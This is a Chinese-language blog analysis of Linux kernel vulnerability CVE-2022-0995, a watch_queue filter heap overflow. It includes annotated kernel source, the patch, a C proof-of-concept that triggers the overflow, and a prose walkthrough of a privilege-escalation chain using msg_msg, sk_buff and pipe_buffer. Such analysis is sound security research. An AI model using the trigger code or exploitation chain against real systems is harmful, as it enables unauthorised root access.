[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权

CVE-2022-09095 watch_queue 1bit "溢出"内核提权

文章目录

  • CVE-2022-09095 watch_queue 1bit "溢出"内核提权
    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 漏洞发生点
      • 查看补丁
      • 漏洞触发
    • 漏洞利用
      • 溢出方法
      • 后续利用(同CVE-2021-22555)
    • 参考

漏洞简介

漏洞编号: CVE-2022-0995

漏洞产品: linux kernel - pipe ioctl(pipeFd,IOC_WATCH_QUEUE_SET_FILTER,filter)

影响版本: ~ linux kernel 5.17-rc7

漏洞危害: pipe 的ioctl 功能IOC_WATCH_QUEUE_SET_FILTER 中存在堆溢出,可造成本地提权

源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.13-5.13.0-35.40_20.04.1 --depth 1(获取的源码不一定是能跑通exp 的版本,只是有漏洞并且可以编译调试漏洞发生点)

环境搭建

根据曝光exp 的环境:ubuntu 21.10 ;内核版本 5.13.0-37-generic,使用ubuntu desktop 21.10虚拟机搭建exp复现环境:

apt-get install linux-image-5.13.0-37-generic
reboot
cd CVE-2022-0995-main/
make
./exploit

提权成功:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第1张图片

调试用docker 环境:chenaotian/cve-2022-0995

漏洞原理

漏洞发生点

目前网上对漏洞原理的描述非常少,根据exp 和补丁定位漏洞位置:

首先看到exp 中调用了pipe 的ioctl,功能选项是IOC_WATCH_QUEUE_SET_FILTER :

if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
    perror("pipe2()");
    exit(1);
}

··· ···
// Filter go
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
    perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
    goto err;
}

找到内核中对应函数,先是入口pipe_ioctl

linux-5.13\fs\pipe.c : 594 : pipe_ioctl

static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	struct pipe_inode_info *pipe = filp->private_data;
	int count, head, tail, mask;

	switch (cmd) {
	··· ···
    ··· ···
	case IOC_WATCH_QUEUE_SET_FILTER:
		return watch_queue_set_filter(//调用漏洞函数watch_queue_set_filter
			pipe, (struct watch_notification_filter __user *)arg);
	··· ···
	default:
		return -ENOIOCTLCMD;
	}
}

调用栈比较简单,直接根据IOC_WATCH_QUEUE_SET_FILTER 调用watch_queue_set_filter函数:

linux-5.13\kernel\watch_queue.c : 286 : watch_queue_set_filter

long watch_queue_set_filter(struct pipe_inode_info *pipe,
			    struct watch_notification_filter __user *_filter)
{
	struct watch_notification_type_filter *tf;
	struct watch_notification_filter filter;
	struct watch_type_filter *q;
	struct watch_filter *wfilter;
	struct watch_queue *wqueue = pipe->watch_queue;
	int ret, nr_filter = 0, i;

	··· ···
    //[1] 从用户空间获取用户传入的filters
    tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
    ··· ···
	for (i = 0; i < filter.nr_filters; i++) {
		if ((tf[i].info_filter & ~tf[i].info_mask) ||
		    tf[i].info_mask & WATCH_INFO_LENGTH)
			goto err_filter;
		/* Ignore any unknown types */
        /* sizeof(wfilter->type_filter)=0x10
         * [2] 这里的判断是tf[i].type 不可以超过0x80
         * 如果超过,则nr_filter不计数,后续根据nr_filter 来申请大小
        */
		if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
			continue;
		nr_filter++;//计数
	}

	/* Now we need to build the internal filter from only the relevant
	 * user-specified filters.
	 */
	ret = -ENOMEM;
    //[3] 由于struct watch_filter 是一个变长结构体,根据filters数量申请
    //这里根据上面统计的filters 数量值nr_filter 申请大小
	wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
	if (!wfilter)
		goto err_filter;
	wfilter->nr_filters = nr_filter;

	q = wfilter->filters;
    //填充wfilter->filters 操作
	for (i = 0; i < filter.nr_filters; i++) {
        /* 跟上面判断不一致
         * #ifdef CONFIG_64BIT
         * #define BITS_PER_LONG 64
         * [4] 这里判断tf[i].type 不大于0x400 就可以操作
         * 而上面申请内存时只有不大于0x80 的才计算在内
         */
		if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
			continue;

		q->type			= tf[i].type;
		q->info_filter		= tf[i].info_filter;
		q->info_mask		= tf[i].info_mask;
		q->subtype_filter[0]	= tf[i].subtype_filter[0];
        //[5] __set_bit 的操作是,将参数2 偏移 参数1 位置的比特(bit) 置1
		__set_bit(q->type, wfilter->type_filter);
		q++;
	}

	··· ···
    ··· ···
}

首先看一眼相关结构体和宏:

#ifdef CONFIG_64BIT
#define BITS_PER_LONG 64 //64位系统位64,每个long 类型的bit 数量
#else
#define BITS_PER_LONG 32
#endif /* CONFIG_64BIT */

struct watch_filter {//变长结构体
	union {
		struct rcu_head	rcu;
		unsigned long	type_filter[2];	/* Bitmask of accepted types */
	};
	u32			nr_filters;	/* Number of filters */
	struct watch_type_filter filters[]; //filters 数量可变
};

struct watch_type_filter {// size: 0x10
	enum watch_notification_type type;
	__u32		subtype_filter[1];	/* Bitmask of subtypes to filter on */
	__u32		info_filter;		/* Filter on watch_notification::info */
	__u32		info_mask;		/* Mask of relevant bits in info_filter */
};

struct watch_notification_filter {//保存用户传入的结构体
	__u32	nr_filters;		/* Number of filters */
	__u32	__reserved;		/* Must be 0 */
	struct watch_notification_type_filter filters[];
};

struct watch_notification_type_filter {
	__u32	type;			/* Type to apply filter to */
	__u32	info_filter;		/* Filter on watch_notification::info */
	__u32	info_mask;		/* Mask of relevant bits in info_filter */
	__u32	subtype_filter[8];	/* Bitmask of subtypes to filter on */
};

根据代码中的注释,漏洞原理分析如下:

  1. 根据用户传入一个struct watch_notification_filter 类型的 _filter,并使用nr_filters 成员来描述总共有多少filters(使用tf变量获取用户传入的filters)。但这些只是用户传入的filters ,内核是否使用还需要进一步判断。
  2. 遍历用户传入的filters 即tf[i],判断每个tf[i].type 不能大于 sizeof(wfilter->type_filter) * 8 = 0x10 ,否则不算。只记录tf[i].type 合格的filters 数量,记为nr_filter
  3. 根据记录的合格filters 数量nr_filter ,使用kzalloc 申请变长结构体struct watch_filterwfilter,其中wfilter->nr_filters[x]的长度x 就是刚统计的filters 数量。
  4. 然后就要把用户输入的数据填入刚申请的结构体中,按理说这回也应该用相同的方法判断tf[i].type 是否合格,合格的填入,这样就能保证申请多少个,填入多少个。但这次的判断条件并不是 sizeof(wfilter->type_filter) * 8 = 0x10 ,而是sizeof(wfilter->type_filter) * BITS_PER_LONG = 0x400
    • 这里打个比方,加入存在一个tf[x],他的tf[x].type=0x300,那么他在第一次统计数量判断的时候,并不满足 tf[x].type <= 0x10 ,所以不会被技术,申请空间的时候不会带他的份,但他在第二次填充判断的时候,却满足 tf[x].type <= 0x400 ,也就是说会把它算在内填充到 wfilter结构体中,换句话说,存在这种例子能使实际使用的内存空间大于申请的内存空间。存在堆溢出!
  5. 准确的将这里应该算另一个漏洞,因为__set_bit 宏的操作是,参数2偏移参数1位置的比特(bit) 置1,在该场景中就是将wfilter->type_filter偏移q->type的地方的bit 置1,但根据之前的判断,只要不大于0x400的q->type 都可以走到这里,也就是说,**这里这里可以将向后比较大的位置的一个bit 置1,这就不是连续的堆溢出了,属于范围内指定bit 篡改。**实际exp 主要利用的也是这里。

查看补丁

查看patch,发现统一了上下的判断规则:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第2张图片

其中:

enum watch_notification_type {
	WATCH_TYPE_META		= 0,	/* Special record */
	WATCH_TYPE_KEY_NOTIFY	= 1,	/* Key change event notification */
	WATCH_TYPE__NR		= 2
};

也就是说,type只能从上面三种枚举中选择了。

漏洞触发

根据从exp中不难抠出可以触发溢出的poc:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 

typedef struct watch_notification_filter wnf_t;
typedef struct watch_notification_type_filter wntf_t;
int main() {  
    int fds[2];
    int nfilters = 10;
    wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
    if (!filter) {
        perror("calloc()");
        exit(1);
    }
    filter->nr_filters = nfilters;
    for (int i = 0; i < nfilters; i++) {  // choose kmalloc-96
        if (i < 3)
            filter->filters[i].type = 1;
        else
        {
            filter->filters[i].type = 0x90;
        }
    }
    if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
        perror("pipe2()");
        exit(1);
    }
    if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
        perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
        exit(1);
    }
}

但不一定能跑崩内核,调试可以看到溢出,根据poc 内容,一共有10个filters,只有前三个filters 是合法的type(=1),后面的type 属于可以绕过检测的范围(=0x90);不会被计算,但在使用的时候会被使用。也就是说会越界0x70左右:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第3张图片

结构体填充结束后,实际写的内容远远超过了结构体长度:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第4张图片

漏洞利用

参考exp:Bonfee/CVE-2022-0995

使用的方法类似去年的CVE-2021-22555,堆越界写0 漏洞,可以参考:

【kernel exploit】CVE-2021-22555 2字节堆溢出写0漏洞提权分析

由于利用方法类似,这里长话短说

溢出方法

首先我们通过之前堆漏洞原理的描述,已知该漏洞存在两部分,堆溢出和一个大量偏移位置bit置1。堆溢出部分对溢出内容还是有一定限制的,所以这里exp 采用固定偏移位置置1来利用。一来只需要越界一次,传入数据比较好构造,二来可以直接构造成和CVE-2021-22555 相同的堆利用模型,后续过程直接抄作业即可。

首先由于struct watch_filter 结构体变长,我们需要选定一个长度来进行后续利用,这里选择使用4个filters,其中3个合法filters ,一个非法用来溢出,那么含有3个合法filters的watch_filter 需要申请0x48 大小,属于kmalloc-96(0x60)。这样发生溢出(只溢出一个filters)之后也不会影响到后面的堆块内容,大概如下图所示:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第5张图片

那么即使溢出也无法影响下一个堆块的内容,那如何利用呢?这里就是用前面提到的偏移位置bit 置1 操作,也就是__set_bit(q->type, wfilter->type_filter); 来进行漏洞利用,已知参数2 wfilter->type_filter是固定指向watch_filter 结构体开头,而q->type 为我们可控的用户输入,且范围属于[0x80,0x400)区间。也就是说我们可以把以下范围内任意一个bit 置1 的能力:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第6张图片

那么假如下一个kmalloc-96我们布置成msg_msg 结构体的话,我们就可以篡改msg_msg 头部的m_list->next 指针,修改其中一个bit为1,让其指向其他消息队列的消息。这样就可以形成类似CVE-2021-22555 的堆布局构型了。

后续利用(同CVE-2021-22555)

首先用msg队列在内核里堆喷,每个msg队列放两个msg,第一个大小属于kmalloc-96(first msg),第二个大小kmalloc-1k(second msg),然后将任意一个队列里的first msg 释放(红色的)用于后续申请到watch_filter,如下图:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第7张图片

释放之后,申请上文提到的3+1 filter(3合法1非法),其中非法filter 的type字段为我们要篡改的bit 相对watch_filter的偏移距离,这里选择0x30a,可以正好把地址相邻的下一个msg_msg 结构体的m_list->next指针篡改为+0x400,假如next指针的值是0x0000,则篡改之后为0x0400。让其指向另一个消息队列的second msg,大概如下图:

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第8张图片

如果该bit位本来就是1的话就什么也没发生,不过多试几次就行了。这样就做出了可以UAF的堆构型。有了这个模型之后,后续无论是任意地址写还是ROP都不是难事。我们把这个被两个first msg 同时指向的msg 成为msgA

接下来就可以通过两个消息队列来对msgA进行两次释放,第一次释放后用sk_buff 占位。利用sk_buff 可以随时编辑的特性,反复修改sk_buff 和利用msgrcv 反复读取堆地址泄露出两个消息地址,该操作是防止第二次释放时链表指针不对在unlink 时异常:

  1. 编辑sk_buff 修改msgA size成员,以越界读到下一个msg 的内容,获取下一个msg 的m_list->prev 指向的first msg,记为msgB
  2. 再编辑sk_buff修改msgA size 和msgA msgseg next成员为刚泄露的msgB,这样该msgB 就成为了msgA 的msgseg,这样就可以泄露出msgB 的m_list->prev指针记为msgC,这样就拿到了两个合法msg 指针。

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第9张图片

然后再使用sk_buff编辑msgA 的m_list->nextm_list->prev 为刚泄露的两个合法msg 指针,这样再次释放就不会unlink 时异常。然后再次释放msgA,使用pipe buf 占位,接下来泄露ROP一气呵成。

[漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权_第10张图片

具体技术参考文章也写的很详细了。

参考

exp:Bonfee/CVE-2022-0995

bsauce:【kernel exploit】CVE-2021-22555 2字节堆溢出写0漏洞提权分析

你可能感兴趣的:(#,linux,kernel,漏洞分析,网络安全,漏洞分析,CVE-2022-0995,CVE,linux内核)